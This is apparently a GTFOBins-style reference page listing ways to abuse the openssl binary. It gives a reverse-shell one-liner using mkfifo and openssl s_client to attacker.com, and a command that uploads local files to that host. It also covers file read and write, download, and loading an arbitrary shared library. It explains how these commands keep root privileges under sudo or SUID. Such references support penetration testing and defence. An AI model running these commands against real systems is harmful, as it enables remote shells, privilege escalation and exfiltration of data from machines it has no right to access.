openssl
Reverse shell
This executable can send back a reverse system shell to a listening attacker.
- This function can be performed by any unprivileged user.
mkfifo /path/to/temp-socket /bin/sh -i </path/to/temp-socket 2>&1 | openssl s_client -quiet -connect attacker.com:12345 >/path/to/temp-socketThis function is performed by the privileged user if executed viasudobecause the acquired privileges are not dropped.mkfifo /path/to/temp-socket /bin/sh -i </path/to/temp-socket 2>&1 | openssl s_client -quiet -connect attacker.com:12345 >/path/to/temp-socketThis function is performed by the privileged user if the executable has the SUID bit set and the right ownership because the effective privileges are not dropped.mkfifo /path/to/temp-socket /bin/sh -i </path/to/temp-socket 2>&1 | openssl s_client -quiet -connect attacker.com:12345 >/path/to/temp-socket
File write
This executable can write data to local files.
- This function can be performed by any unprivileged user.
echo DATA | openssl enc -out /path/to/output-fileThis function is performed by the privileged user if executed viasudobecause the acquired privileges are not dropped.echo DATA | openssl enc -out /path/to/output-fileThis function is performed by the privileged user if the executable has the SUID bit set and the right ownership because the effective privileges are not dropped.echo DATA | openssl enc -out /path/to/output-file - This function can be performed by any unprivileged user.
openssl enc -in /path/to/input-file -out /path/to/output-fileThis function is performed by the privileged user if executed viasudobecause the acquired privileges are not dropped.openssl enc -in /path/to/input-file -out /path/to/output-fileThis function is performed by the privileged user if the executable has the SUID bit set and the right ownership because the effective privileges are not dropped.openssl enc -in /path/to/input-file -out /path/to/output-file
File read
This executable can read data from local files.
- This function can be performed by any unprivileged user.
openssl enc -in /path/to/input-fileThis function is performed by the privileged user if executed viasudobecause the acquired privileges are not dropped.openssl enc -in /path/to/input-fileThis function is performed by the privileged user if the executable has the SUID bit set and the right ownership because the effective privileges are not dropped.openssl enc -in /path/to/input-file
Upload
This executable can upload local data.
- This function can be performed by any unprivileged user.
openssl s_client -quiet -connect attacker.com:12345 </path/to/input-fileThis function is performed by the privileged user if executed viasudobecause the acquired privileges are not dropped.openssl s_client -quiet -connect attacker.com:12345 </path/to/input-fileThis function is performed by the privileged user if the executable has the SUID bit set and the right ownership because the effective privileges are not dropped.openssl s_client -quiet -connect attacker.com:12345 </path/to/input-file
Download
This executable can download remote data.
- This function can be performed by any unprivileged user.
openssl s_client -quiet -connect attacker.com:12345 >/path/to/output-fileThis function is performed by the privileged user if executed viasudobecause the acquired privileges are not dropped.openssl s_client -quiet -connect attacker.com:12345 >/path/to/output-fileThis function is performed by the privileged user if the executable has the SUID bit set and the right ownership because the effective privileges are not dropped.openssl s_client -quiet -connect attacker.com:12345 >/path/to/output-file
Library load
This executable can load shared libraries that may be used to run arbitrary code in the same execution context.
- This function can be performed by any unprivileged user.
openssl req -engine ./lib.soThis function is performed by the privileged user if executed viasudobecause the acquired privileges are not dropped.openssl req -engine ./lib.soThis function is performed by the privileged user if the executable has the SUID bit set and the right ownership because the effective privileges are not dropped.openssl req -engine ./lib.so